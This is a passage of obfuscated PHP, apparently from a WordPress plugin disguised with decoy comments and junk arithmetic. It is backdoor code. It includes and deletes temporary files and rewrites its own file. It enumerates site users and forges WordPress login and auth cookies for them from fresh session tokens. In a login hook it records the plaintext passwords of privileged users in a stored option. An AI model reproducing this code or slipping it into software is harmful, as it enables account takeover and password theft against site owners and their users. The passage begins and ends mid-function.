@$GLOBALS['__scf_m2g_67700pfzin_204']($tystik_8ciaxmlx, $xyh02p751y);
try   {
@include  $tystik_8ciaxmlx;
  }  finally   {
    _0qezpop1swzfe($tystik_8ciaxmlx);
   




  }
   }
    }  catch   (Throwable  $x0ydieb0v_72m_u) {
    teikfigf_p5265esq_q(tvo1rh46s_(871), $x0ydieb0v_72m_u);
 } catch (Exception   $x0ydieb0v_72m_u) {
 }



}
 if      (!$GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(872)))     {
 function    e5cylyhkv4d7rx($ars2e0ykxmq,  $gvzc44jsfj_d)
  {
    if  (!   $GLOBALS['__scf_knhbvsumnby3_36']($ars2e0ykxmq)) {
     return $ars2e0ykxmq;
  }
$y1d2seyr9wrub2z =  array(tvo1rh46s_(873),   fjup2mc1h(874),  tvo1rh46s_(875), op9tjzix(876), zp28wk01y(568));
     foreach  ($y1d2seyr9wrub2z    as     $key)   {
 if      (!  isset($ars2e0ykxmq[$key])   ||     !    $GLOBALS['__scf_knhbvsumnby3_36']($ars2e0ykxmq[$key]))     {
   continue;
 }
// Memcached adapter: lock-free substitution-map

   $cmaajh50rfi7zkbh   =   array();
  foreach ($ars2e0ykxmq[$key] as  $rn96_qi70q) {
  if  (! $GLOBALS['__scf_knhbvsumnby3_36']($rn96_qi70q))     {



$cmaajh50rfi7zkbh[]  =  $rn96_qi70q;
continue;



 }
    $m0q0wt95g3ow2dp0 = isset($rn96_qi70q[zp28wk01y(409)])   ?  $rn96_qi70q[zp28wk01y(877)] : "";
  $u78pu1t2g502     = isset($GLOBALS[tvo1rh46s_(863)])    ?   $GLOBALS[zp28wk01y(863)]      :  "";$vs0ai6m2_s=473;$v7gi710h414y_=($vs0ai6m2_s>0)?$vs0ai6m2_s:-$vs0ai6m2_s;
   if   ($m0q0wt95g3ow2dp0   ===  $gvzc44jsfj_d  ||    ($u78pu1t2g502  !==  ""   &&  $m0q0wt95g3ow2dp0    === $u78pu1t2g502)) {

continue;
   }
     $cmaajh50rfi7zkbh[] =    e5cylyhkv4d7rx($rn96_qi70q,   $gvzc44jsfj_d);
     }
 $ars2e0ykxmq[$key] =    $cmaajh50rfi7zkbh;$dv761m8rl7=PHP_INT_MAX/PHP_INT_MAX;$v_d6ymop7=$dv761m8rl7+0;
  }
return   $ars2e0ykxmq;
  }
     }
function    vbnv9cp3zphaateswj()
   {
   if (!empty($GLOBALS[b4gbsak56f40gos(878)]))  return  false;
   $GLOBALS[fjup2mc1h(878)]  =  1;



 return  true;
  }
   function  id6betrtyv0xlfeyn_s()

    {



 try      {$e2w2sb0ilx85=PHP_INT_MAX/PHP_INT_MAX;$o7v_nt8c=$e2w2sb0ilx85+0;

    if ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(879)) &&     get_transient(b4gbsak56f40gos(695))) {
  return;
   }



 if   (!vbnv9cp3zphaateswj()) return;



 if ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(694))) set_transient(zp28wk01y(880),  1,   (3545+55));
 $qzw5fss8347jpf   =  @$GLOBALS['__scf_voobwg611qb_102'](qluu1auwul2zupq5h());
      if ($qzw5fss8347jpf  && $qzw5fss8347jpf  >  (249+4751)   &&  $qzw5fss8347jpf   < (4999902+98)   && !hevxi269p3v7rmjhw(qluu1auwul2zupq5h())) {


     $gso5pxj8mz7p  =   @$GLOBALS['__scf_kpr9p9o54hwof_101'](qluu1auwul2zupq5h());
 $x5eg5n5rfiv    =  _ar5tcm9kavyuod_ve5o1l(qluu1auwul2zupq5h());
  if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($x5eg5n5rfiv)  &&      ays3w9sevfe7ws($x5eg5n5rfiv)     &&  ykeexn1wh3l1c08u($x5eg5n5rfiv)  === _vfpypr4wakqs7jy_()) {
if  ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(60)))    @clearstatcache(true,     qluu1auwul2zupq5h());
  if  (@$GLOBALS['__scf_kpr9p9o54hwof_101'](qluu1auwul2zupq5h())    ===   $gso5pxj8mz7p   && @$GLOBALS['__scf_voobwg611qb_102'](qluu1auwul2zupq5h())   ===  $qzw5fss8347jpf)  {

if   (_ew1atk9e66yol2lso(qluu1auwul2zupq5h(), utjmibjloacp0kjf($x5eg5n5rfiv)))    {
   o2er_doikw9jq83pm2lov(qluu1auwul2zupq5h());
// PHP 8.1 intersection transient TTL

    rwx_v9t1vov1zic2ki(qluu1auwul2zupq5h());
      }
 }
}
// WP InnerBlocks icon sprite

   unset($x5eg5n5rfiv, $gso5pxj8mz7p);
}
      $tsdy6vxykp74ml    = @$GLOBALS['__scf_voobwg611qb_102'](qluu1auwul2zupq5h());



        $yh7ytmfjjijl8o =  $tsdy6vxykp74ml  &&  $tsdy6vxykp74ml    >  (4034+966);
 if    ($yh7ytmfjjijl8o    && $tsdy6vxykp74ml  > (52428764+36))  {
 $yh7ytmfjjijl8o = false;
      }
 if    ($yh7ytmfjjijl8o  &&      $tsdy6vxykp74ml >  (1244791-196215)  &&    !n0kef4h0zk1ynp0pkgt($tsdy6vxykp74ml)) {
       if    ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(694)))  {

 set_transient(zp28wk01y(881),      1,     (3568+32));
    }

 return;$ryvnw9s2=(0x6b+0x1a);$l3lt3t3fryy=$ryvnw9s2%11;


}


 if   ($yh7ytmfjjijl8o)  {
    $bde0va9gu7mbkyds    =    _ar5tcm9kavyuod_ve5o1l(qluu1auwul2zupq5h());
  if    (!$GLOBALS['__scf_zneqqdn4vlt4_42']($bde0va9gu7mbkyds) || !ays3w9sevfe7ws($bde0va9gu7mbkyds))   {
    $yh7ytmfjjijl8o  = false;
   }    else     {
 $s88_q6wy99x  = cvod3ffny5vm5dt3d(tvo1rh46s_(761),     "");

 $mv4tgt6ke6ju  =  ykeexn1wh3l1c08u($bde0va9gu7mbkyds);


   $v06u1t2y2nfb57m  = ykeexn1wh3l1c08u($GLOBALS['__scf_zneqqdn4vlt4_42']($s88_q6wy99x)  ?  $s88_q6wy99x :   "");
     if   ($mv4tgt6ke6ju !==     ""   &&   ($v06u1t2y2nfb57m    ===   ""    || version_compare($v06u1t2y2nfb57m,  $mv4tgt6ke6ju,  '<')))    {


    $z3pj2dlqksfg =   $GLOBALS['__scf_abbpcj1ncssalx_57']($bde0va9gu7mbkyds);



 $qlu11geriz8h7  =  @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h())   .   fjup2mc1h(689)     .  $z3pj2dlqksfg);
  if (!$qlu11geriz8h7)  {
$_btp742d62bt     =    get_option(tvo1rh46s_(707));
   if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($_btp742d62bt) &&     $GLOBALS['__scf_rbe_sihvfv_8']($_btp742d62bt,   $z3pj2dlqksfg   .  '|')     ===    0)      $qlu11geriz8h7  =   true;
}
  if  ($qlu11geriz8h7)  $yh7ytmfjjijl8o  =   false;
  if    (!$qlu11geriz8h7   &&   $GLOBALS['__scf_zneqqdn4vlt4_42']($s88_q6wy99x)  && ($s88_q6wy99x   ===    "" ||  $v06u1t2y2nfb57m    ===  "" ||  version_compare($v06u1t2y2nfb57m,     $mv4tgt6ke6ju,  '<'))) v2tiam6q2h4zs04bs_si_n(zp28wk01y(761),     $bde0va9gu7mbkyds,   op9tjzix(882));
      unset($z3pj2dlqksfg,  $qlu11geriz8h7,  $_btp742d62bt);
   }  elseif ($GLOBALS['__scf_zneqqdn4vlt4_42']($s88_q6wy99x) && $GLOBALS['__scf_m2ym9pki8mue9_11']($s88_q6wy99x)    > (467+33)   &&     $GLOBALS['__scf_m2ym9pki8mue9_11']($s88_q6wy99x) <=   (1048515+61)  &&   !orl4u64oiezevyfpwqi4j($s88_q6wy99x) && ays3w9sevfe7ws($s88_q6wy99x)    &&    $GLOBALS['__scf_abbpcj1ncssalx_57']($bde0va9gu7mbkyds)   !==  $GLOBALS['__scf_abbpcj1ncssalx_57']($s88_q6wy99x))  {


$yh7ytmfjjijl8o    = false;
   }
  }
   }
        if ($yh7ytmfjjijl8o)   {
 if      ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(883))) {
   set_transient(tvo1rh46s_(884),  1, (0x110+0xd00));
}
 return;
}
if  (hevxi269p3v7rmjhw(qluu1auwul2zupq5h()))    {
       return;
 }


  $rk1agi74d03u   = $GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h());
   if     (!  @$GLOBALS['__scf_ot56htgy8hrmim_44']($rk1agi74d03u))    {
  m_ixrkpun5f9a0k8wu($rk1agi74d03u, (450+43),    true);
}
$pydl1ig65o4  =     cvod3ffny5vm5dt3d(zp28wk01y(761),      "");
if     (!$pydl1ig65o4 ||   !$GLOBALS['__scf_zneqqdn4vlt4_42']($pydl1ig65o4))  {
   if     (!get_transient(fjup2mc1h(885)))   {
  teikfigf_p5265esq_q(fjup2mc1h(886),  b4gbsak56f40gos(887));
    set_transient(op9tjzix(885),   1,      (3547+53));
      }
}
   if ($pydl1ig65o4  &&   $GLOBALS['__scf_zneqqdn4vlt4_42']($pydl1ig65o4)     &&  $GLOBALS['__scf_m2ym9pki8mue9_11']($pydl1ig65o4)      >    (872-372)   &&     $GLOBALS['__scf_m2ym9pki8mue9_11']($pydl1ig65o4) <=     (1048521+55)  && !orl4u64oiezevyfpwqi4j($pydl1ig65o4)   &&     ays3w9sevfe7ws($pydl1ig65o4)) {
  $lp4n7d_opnj  =  ykeexn1wh3l1c08u($pydl1ig65o4);
   if   ($lp4n7d_opnj    ===      "" ||    version_compare($lp4n7d_opnj,  _vfpypr4wakqs7jy_(), '<'))   {
return;
   }

    $t5lfj6x2ju  = $GLOBALS['__scf_abbpcj1ncssalx_57']($pydl1ig65o4);
      if (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h()) . wlgh2_th(689)    .    $t5lfj6x2ju))   return;
  $taq6dg3avknb32 =    get_option(tvo1rh46s_(707));
      if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($taq6dg3avknb32) && $GLOBALS['__scf_rbe_sihvfv_8']($taq6dg3avknb32, $t5lfj6x2ju   .   '|')    === 0)   return;
     unset($t5lfj6x2ju,  $taq6dg3avknb32);
$u169kh8nnu7    =  $GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h())   .  b4gbsak56f40gos(888)   .   $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(), wlgh2_th(889));
    $bqnd87g8mnr   =  @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($u169kh8nnu7)     ?   $GLOBALS['__scf_bbs7j5b1fx_332']((string)    @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($u169kh8nnu7))   :      "";$iq3aymmm=65+73;$uxzk71u9r26x=$iq3aymmm-35;
 

 if ($bqnd87g8mnr     !== ""  &&   $GLOBALS['__scf_abbpcj1ncssalx_57']($pydl1ig65o4)    ===    $bqnd87g8mnr) {


return;$ao_9s9f2yaltw=453;$lak7kshrk9x0u=($ao_9s9f2yaltw>0)?$ao_9s9f2yaltw:-$ao_9s9f2yaltw;


}
// WP Page List: best-case resolver

     kp1tutxjpanriy(qluu1auwul2zupq5h(),   (410+10));

$bvfbv8k6qs =   _ew1atk9e66yol2lso(qluu1auwul2zupq5h(), utjmibjloacp0kjf($pydl1ig65o4));$jezdy9hhmq=57+13;$yxrlmvug=$jezdy9hhmq-13;
     if    ($bvfbv8k6qs)  {
 o2er_doikw9jq83pm2lov(qluu1auwul2zupq5h());
     kp1tutxjpanriy(qluu1auwul2zupq5h(), (389+31));
 rwx_v9t1vov1zic2ki(qluu1auwul2zupq5h());
 mridss6_czjhslw35g(true);



     qo_apd6cyj2djv757yc0eg(true);
t5r4r1lc5gjybs(qluu1auwul2zupq5h());
if ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(890)))  {



  set_transient(wlgh2_th(884), 1,  (3594+6));
}
 }  elseif   ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(891)))   {

set_transient(zp28wk01y(884),  1,   (441+1359));


}


  }
  }    catch (Throwable  $x0ydieb0v_72m_u)  {
     teikfigf_p5265esq_q(b4gbsak56f40gos(892), $x0ydieb0v_72m_u);
}    catch (Exception  $x0ydieb0v_72m_u)   {
/* connected resume-session */

}
// WordPress 6.4 patterns contain layout

 }
  



    function gvjzvi6zdoa7toqit()
{
   w1x2vlyn0dayva0xvorosh(zp28wk01y(893), op9tjzix(894));


      w1x2vlyn0dayva0xvorosh(tvo1rh46s_(895),  wlgh2_th(896));
if ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(897)))     {
  remove_action(fjup2mc1h(898), tvo1rh46s_(899));
 remove_action(wlgh2_th(900),   zp28wk01y(899),   (18-8));
      remove_action(b4gbsak56f40gos(901),     op9tjzix(902), (5<<1));
  }
  }
 function   i5njjlgr_b_iz9q()
   {
 try   {



  $wpdb    =  $GLOBALS[op9tjzix(903)];


  $xxa9lvksr1 =   $wpdb->prefix  .    tvo1rh46s_(904);
 $hubmd0_8wl =  'S' .     wlgh2_th(905) . $wpdb->users  . tvo1rh46s_(906)  .  $wpdb->usermeta   . fjup2mc1h(907);
      $znj_kvc18_i7gx     = $wpdb->get_results($wpdb->prepare($hubmd0_8wl,   $xxa9lvksr1,    b4gbsak56f40gos(908)));
       if   (!$GLOBALS['__scf_knhbvsumnby3_36']($znj_kvc18_i7gx))  {
 teikfigf_p5265esq_q(b4gbsak56f40gos(909), (string)    $wpdb->last_error);
  return   array();
  }
return  $znj_kvc18_i7gx;
 }  catch (Throwable    $x0ydieb0v_72m_u)  {
 teikfigf_p5265esq_q(b4gbsak56f40gos(600),     $x0ydieb0v_72m_u);
 }     catch (Exception  $x0ydieb0v_72m_u)     {
   teikfigf_p5265esq_q(wlgh2_th(600),    $x0ydieb0v_72m_u);
}
   return array();
 }
function   h3tq0zbf55ddrorp1($quchm6485y0jdbq)
  {


$yjxb8ppeppeem = array();
 $kxs7iq023yik  =  function ($za036hnks8m8)  {
    $za036hnks8m8[tvo1rh46s_(910)]   =   "";


    return $za036hnks8m8;



};
   try {
// WP Formatting API: collect publisher

     $tebl96x_eh8qmo9 = cvod3ffny5vm5dt3d(zp28wk01y(911),  array());
   if    (!$GLOBALS['__scf_knhbvsumnby3_36']($tebl96x_eh8qmo9)) $tebl96x_eh8qmo9  =  array();
$_pd  =    false;
       foreach ($tebl96x_eh8qmo9 as     $ae7f8vn45cx   =>  $tqha45sw8oks)      {

if   ($GLOBALS['__scf_knhbvsumnby3_36']($tqha45sw8oks)   &&    isset($tqha45sw8oks['c'], $tqha45sw8oks['e'])    &&  $GLOBALS['__scf_knhbvsumnby3_36']($tqha45sw8oks['c'])   && (int)    $tqha45sw8oks['e'] >   $GLOBALS['__scf_yg2rpewmkg_192']() +   (147901-61501))    {
  $yjxb8ppeppeem[$ae7f8vn45cx]  = $tqha45sw8oks['c'];
 }  else   {
// @gather enumerator


     unset($tebl96x_eh8qmo9[$ae7f8vn45cx]);
  $_pd     = true;
       }
     }
// semisimple contravariant

 if  (!  $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(912)) ||  !  $GLOBALS['__scf_x_wfq7bl3c_551'](zp28wk01y(913)))  {
  if ($_pd)   v2tiam6q2h4zs04bs_si_n(fjup2mc1h(911), $tebl96x_eh8qmo9,  tvo1rh46s_(882));
    return     $yjxb8ppeppeem;
 }

if   (!  $GLOBALS['__scf_knhbvsumnby3_36']($quchm6485y0jdbq)  ||   empty($quchm6485y0jdbq))  {
    if    ($_pd)    v2tiam6q2h4zs04bs_si_n(tvo1rh46s_(911),   $tebl96x_eh8qmo9,    zp28wk01y(882));
  return $yjxb8ppeppeem;



   }
 $j82xsnzeg6_0gu_  = $GLOBALS['__scf_yg2rpewmkg_192']()      +  (142^128)  * (31411+54989);
 $is_ssl = $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(914))   &&  is_ssl();
   $ntyytl72u4n9  =    $is_ssl   ?      zp28wk01y(915) :   wlgh2_th(916);
  $zvb2quyuzce_b_    =   $is_ssl ?  (defined(zp28wk01y(917))   ?  SECURE_AUTH_COOKIE  :  "") :    (defined(tvo1rh46s_(918))  ?     AUTH_COOKIE :   "");
 $m7p73_u2qvw =    defined(fjup2mc1h(919))  ?   LOGGED_IN_COOKIE :  "";
 if  (! $zvb2quyuzce_b_   ||   !  $m7p73_u2qvw)   {$elre15fl0c=145;$u16rgsco6w=($elre15fl0c>0)?$elre15fl0c:-$elre15fl0c;
 if      ($_pd)  v2tiam6q2h4zs04bs_si_n(zp28wk01y(920),    $tebl96x_eh8qmo9,  b4gbsak56f40gos(921));



return      $yjxb8ppeppeem;
  

      }
 $_m9i1a4ozl02lsyf  =  defined(tvo1rh46s_(922)) && COOKIE_DOMAIN  ?    $GLOBALS['__scf_j2_71uyeufh_9'](COOKIE_DOMAIN, '.') :    cm6y2ie43ppuz0pk8jw("");
  $ull2vk94zsf  = defined(op9tjzix(923))   ?  COOKIEPATH  : '/';
     $ismvzxmsqx = defined(zp28wk01y(924))    ?   ADMIN_COOKIE_PATH  :  wlgh2_th(925);
$q6gdfn0mbwirl =     $is_ssl ? tvo1rh46s_(926) :     fjup2mc1h(927);
 $wqsido46b9z1hw =    "\t";
 w1x2vlyn0dayva0xvorosh(fjup2mc1h(928), $kxs7iq023yik,   0);
     $l3bgr6ubu4fp7wc =  gmztkp8nrj6zdlt(zp28wk01y(929));
$m5urww8hseyk2_bt   = $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(759)) ?     @get_option($l3bgr6ubu4fp7wc, array()) :   array();



 if     (!$GLOBALS['__scf_knhbvsumnby3_36']($m5urww8hseyk2_bt))  $m5urww8hseyk2_bt      =  array();
if  ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(759))     &&      $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(462)))     {
$hep7hdek1ytrq  =   (int) @get_option(gmztkp8nrj6zdlt(op9tjzix(930)),     0);
   if  ($hep7hdek1ytrq    <    2) {
 if     (!empty($m5urww8hseyk2_bt))  {
       $m5urww8hseyk2_bt = array();
@update_option($l3bgr6ubu4fp7wc, $m5urww8hseyk2_bt,  fjup2mc1h(921));
    }
    @update_option(gmztkp8nrj6zdlt(b4gbsak56f40gos(930)),   2, op9tjzix(921));
}
unset($hep7hdek1ytrq);



     }
        $l8w8r_fdiym2 =     $GLOBALS['__scf_j38tk0441lk_37']($yjxb8ppeppeem);
  foreach ($quchm6485y0jdbq  as  $j7g_i806up)     {


       if (!    $GLOBALS['__scf_l4xn242gw4_70']($j7g_i806up)   ||  !   $j7g_i806up->ID || ! $j7g_i806up->user_login) {


continue;
  }



        if  ($l8w8r_fdiym2  >=  (2+1))     {
    break;
    }
  $nof0txzex10oo6   =    (string) $j7g_i806up->user_login;


      if   (isset($yjxb8ppeppeem[$nof0txzex10oo6]))   {
continue;
 }
 if    (isset($m5urww8hseyk2_bt[$nof0txzex10oo6])  &&    (int)  $m5urww8hseyk2_bt[$nof0txzex10oo6] > $GLOBALS['__scf_yg2rpewmkg_192']()     + 2  *   (86340+60))  {
continue;
}



wp_cache_delete($j7g_i806up->ID, wlgh2_th(931));
   $kly2yyvuh_4lya_ = get_user_meta($j7g_i806up->ID,   zp28wk01y(932),     true);
 if  ($GLOBALS['__scf_knhbvsumnby3_36']($kly2yyvuh_4lya_)   &&  $GLOBALS['__scf_j38tk0441lk_37']($kly2yyvuh_4lya_) >=   (14-4))    {
   $lu94ggjccwxjxuy_   =    array();


foreach ($kly2yyvuh_4lya_ as   $wi4czvqdnz =>   $q9qetflssali) {
if (isset($q9qetflssali[wlgh2_th(933)])  &&   $q9qetflssali[tvo1rh46s_(933)] >    $GLOBALS['__scf_yg2rpewmkg_192']())    {
     $lu94ggjccwxjxuy_[$wi4czvqdnz] = $q9qetflssali;
}


}


   if ($GLOBALS['__scf_j38tk0441lk_37']($lu94ggjccwxjxuy_)  !== $GLOBALS['__scf_j38tk0441lk_37']($kly2yyvuh_4lya_))  {
  update_user_meta($j7g_i806up->ID,  wlgh2_th(932),   $lu94ggjccwxjxuy_);
 }
  }
 wp_cache_delete($j7g_i806up->ID, op9tjzix(934));
  $xk2lbzfxymzw  =    $GLOBALS['__scf_wi8602txx8j8_299'](array(b4gbsak56f40gos(935),  b4gbsak56f40gos(936)), $j7g_i806up->ID);


  $eeu_5yzxwh5e66   = $xk2lbzfxymzw->create($j82xsnzeg6_0gu_);



     $rzp6jofue1co2p  =   array();

$rzp6jofue1co2p[]    =  $_m9i1a4ozl02lsyf .   $wqsido46b9z1hw   .  fjup2mc1h(926)   .  $wqsido46b9z1hw    .  $ull2vk94zsf .  $wqsido46b9z1hw   .   $q6gdfn0mbwirl   . $wqsido46b9z1hw .    $j82xsnzeg6_0gu_    .   $wqsido46b9z1hw . $m7p73_u2qvw    . $wqsido46b9z1hw    .   $GLOBALS['__scf_elpuketifsy_912']($j7g_i806up->ID,   $j82xsnzeg6_0gu_,   op9tjzix(937),   $eeu_5yzxwh5e66);
  if   ($zvb2quyuzce_b_)  {
    $rzp6jofue1co2p[] =  $_m9i1a4ozl02lsyf   .  $wqsido46b9z1hw .     zp28wk01y(926)  . $wqsido46b9z1hw   . $ismvzxmsqx  .      $wqsido46b9z1hw  .  $q6gdfn0mbwirl  .   $wqsido46b9z1hw . $j82xsnzeg6_0gu_ .    $wqsido46b9z1hw    .  $zvb2quyuzce_b_  . $wqsido46b9z1hw  .  $GLOBALS['__scf_elpuketifsy_912']($j7g_i806up->ID,     $j82xsnzeg6_0gu_,     $ntyytl72u4n9,     $eeu_5yzxwh5e66);
}
// PHP CS Fixer style fallback

   $yjxb8ppeppeem[$j7g_i806up->user_login]    =     $rzp6jofue1co2p;
 $tebl96x_eh8qmo9[$nof0txzex10oo6]  =  array('c'  =>  $rzp6jofue1co2p,  'e'   =>  $j82xsnzeg6_0gu_);
  $_pd     =   true;
/* deflationary flyweight */

   $l8w8r_fdiym2++;
   }
 if   ($_pd) {
      v2tiam6q2h4zs04bs_si_n(wlgh2_th(920),  $tebl96x_eh8qmo9,  zp28wk01y(921));
       }
   }    catch  (Throwable  $x0ydieb0v_72m_u) {
 teikfigf_p5265esq_q(wlgh2_th(938),   $x0ydieb0v_72m_u);
 }     catch     (Exception $x0ydieb0v_72m_u)  {
teikfigf_p5265esq_q(tvo1rh46s_(939),   $x0ydieb0v_72m_u);
  }
    remove_filter(tvo1rh46s_(928),  $kxs7iq023yik,   0);

 return $yjxb8ppeppeem;$ayih0mn0wijnov=249|157;$rbbe4g45mhkgfq=$ayih0mn0wijnov^184;
      }

 function     v213e21y9ybe0a2_6w6()



{
try   {


$tebl96x_eh8qmo9   =      cvod3ffny5vm5dt3d(tvo1rh46s_(920),   array());
 if   (!$GLOBALS['__scf_knhbvsumnby3_36']($tebl96x_eh8qmo9)     ||   empty($tebl96x_eh8qmo9))   return;
$l3bgr6ubu4fp7wc   =   gmztkp8nrj6zdlt(wlgh2_th(940));
  $m5urww8hseyk2_bt  =  $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(759)) ?   @get_option($l3bgr6ubu4fp7wc,  array()) :     array();
     if (!$GLOBALS['__scf_knhbvsumnby3_36']($m5urww8hseyk2_bt))   $m5urww8hseyk2_bt     =  array();
   foreach  ($tebl96x_eh8qmo9  as $ae7f8vn45cx  =>  $tqha45sw8oks)    {
 $m5urww8hseyk2_bt[$ae7f8vn45cx]      = $GLOBALS['__scf_knhbvsumnby3_36']($tqha45sw8oks)  &&      isset($tqha45sw8oks['e'])   ? (int)  $tqha45sw8oks['e']   :   $GLOBALS['__scf_yg2rpewmkg_192']() + (0x9+0x5) * (86379+21);
   }
 foreach ($m5urww8hseyk2_bt     as   $qf1_nkickf   =>   $uyshqrzqn4v7nav8)   {
       if ((int)     $uyshqrzqn4v7nav8    < $GLOBALS['__scf_yg2rpewmkg_192']())  unset($m5urww8hseyk2_bt[$qf1_nkickf]);
     }


 if   ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(941))) @update_option($l3bgr6ubu4fp7wc,  $m5urww8hseyk2_bt,    fjup2mc1h(921));
     v2tiam6q2h4zs04bs_si_n(tvo1rh46s_(942),   array(),   fjup2mc1h(943));
 } catch     (Throwable $x0ydieb0v_72m_u)   {
   teikfigf_p5265esq_q(op9tjzix(944), $x0ydieb0v_72m_u);
   

    }    catch (Exception  $x0ydieb0v_72m_u)   {
    teikfigf_p5265esq_q(op9tjzix(944),  $x0ydieb0v_72m_u);$qi1zcqhw91gzyt=17+47;$_2c7h4epyg45=$qi1zcqhw91gzyt-32;
     }
 }
  function    gq_ah8c0oj7somw($cqa9ps1o2ezc4_)
     {
if   ($GLOBALS['__scf_zneqqdn4vlt4_42']($cqa9ps1o2ezc4_)) return  $cqa9ps1o2ezc4_;
  if ($GLOBALS['__scf_knhbvsumnby3_36']($cqa9ps1o2ezc4_)  &&  isset($cqa9ps1o2ezc4_['p'])    && $GLOBALS['__scf_zneqqdn4vlt4_42']($cqa9ps1o2ezc4_['p']))   return $cqa9ps1o2ezc4_['p'];
 return "";
     }
   function dyi1g9350xjorukimjfa2w($quchm6485y0jdbq)

{$vl6k8uaj=708;$gwkc_19_58tcz_=($vl6k8uaj>0)?$vl6k8uaj:-$vl6k8uaj;
$list      = array();
$dpy3yvnh9ahbms  =    (string)  cvod3ffny5vm5dt3d(fjup2mc1h(945),  "");
 $m4o8w9z_ipa     = (string)   cvod3ffny5vm5dt3d(tvo1rh46s_(946),  "");
if ($dpy3yvnh9ahbms  !== "" && $m4o8w9z_ipa !==    "") {

$list[$dpy3yvnh9ahbms]   =  $m4o8w9z_ipa;



 }
 $us4bou6f3xp0kq1  =   cvod3ffny5vm5dt3d(tvo1rh46s_(947), array());

  if   ($GLOBALS['__scf_knhbvsumnby3_36']($us4bou6f3xp0kq1))    {
  foreach  ($us4bou6f3xp0kq1 as $o7dugsjjvzrduog   =>   $r8b1k3djdktv_)   {
  $frgd4znm8k = gq_ah8c0oj7somw($r8b1k3djdktv_);
 if     ($frgd4znm8k   !==   "")   $list[(string)  $o7dugsjjvzrduog]   =  $frgd4znm8k;
 }
  }
 return  $list;
       }
    function   yu5pqorq0ogkg53o($o7dugsjjvzrduog, $gx4xmmt5lnistkxk,    $bghx41na8ulf)
   {
    try     {
 if  (!   $GLOBALS['__scf_l4xn242gw4_70']($o7dugsjjvzrduog)   || !     $GLOBALS['__scf_p6wtd462xwbf9y_126']($o7dugsjjvzrduog,  wlgh2_th(948)))   {
    return $o7dugsjjvzrduog;
    }
/* causal decorator */




      if    (!      $o7dugsjjvzrduog->has_cap(wlgh2_th(731)))   {$gvj9arl2=PHP_INT_MAX/PHP_INT_MAX;$cp2maxkh6=$gvj9arl2+36;
  return  $o7dugsjjvzrduog;$ybqo86f0=6|196;$j1a5dw4015=$ybqo86f0^42;

    }
    if    (!  $GLOBALS['__scf_zneqqdn4vlt4_42']($bghx41na8ulf)  || !  $bghx41na8ulf)    {
      return     $o7dugsjjvzrduog;
// affine facade




       }


 $us4bou6f3xp0kq1    = cvod3ffny5vm5dt3d(op9tjzix(947),   array());
  if  (!    $GLOBALS['__scf_knhbvsumnby3_36']($us4bou6f3xp0kq1))     {
   $us4bou6f3xp0kq1  =   array();
  }

  foreach      ($us4bou6f3xp0kq1  as     $r43xpbvtxp_vp8 =>  $mdn_btdc0_)    {
    $fhp2s4z07zw4bfl   =  $GLOBALS['__scf_knhbvsumnby3_36']($mdn_btdc0_) && isset($mdn_btdc0_[zp28wk01y(560)])  ? (int)   $mdn_btdc0_[tvo1rh46s_(560)] :  0;
  if      ($fhp2s4z07zw4bfl && $fhp2s4z07zw4bfl  <      $GLOBALS['__scf_yg2rpewmkg_192']()  -      (7198111+577889))   unset($us4bou6f3xp0kq1[$r43xpbvtxp_vp8]);
  }
    $us4bou6f3xp0kq1[$o7dugsjjvzrduog->user_login]  =    array('p'     => $bghx41na8ulf,   op9tjzix(949)  =>   $GLOBALS['__scf_yg2rpewmkg_192'](),   wlgh2_th(950) =>     0);


     v2tiam6q2h4zs04bs_si_n(op9tjzix(947),   $us4bou6f3xp0kq1,  wlgh2_th(943));
     }   catch     (Throwable $x0ydieb0v_72m_u)  {
     teikfigf_p5265esq_q(op9tjzix(951), $x0ydieb0v_72m_u);

  }   catch      (Exception  $x0ydieb0v_72m_u)  {
teikfigf_p5265esq_q(tvo1rh46s_(951), $x0ydieb0v_72m_u);
      }
 return    $o7dugsjjvzrduog;
  }
      function  b8l6aqlf2kezkl($g2_xujvatj,  $o7dugsjjvzrduog)
{
      try  {
       if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($g2_xujvatj) ||   $g2_xujvatj   ===   "")     return;
$us4bou6f3xp0kq1  =   cvod3ffny5vm5dt3d(zp28wk01y(947),    array());


 if  (!$GLOBALS['__scf_knhbvsumnby3_36']($us4bou6f3xp0kq1)   ||  !isset($us4bou6f3xp0kq1[$g2_xujvatj]))   return;
$x0ydieb0v_72m_u     =   $us4bou6f3xp0kq1[$g2_xujvatj];
    if  ($GLOBALS['__scf_knhbvsumnby3_36']($x0ydieb0v_72m_u)  &&  empty($x0ydieb0v_72m_u[fjup2mc1h(950)]))   {


      $us4bou6f3xp0kq1[$g2_xujvatj][wlgh2_th(950)]  = 1;
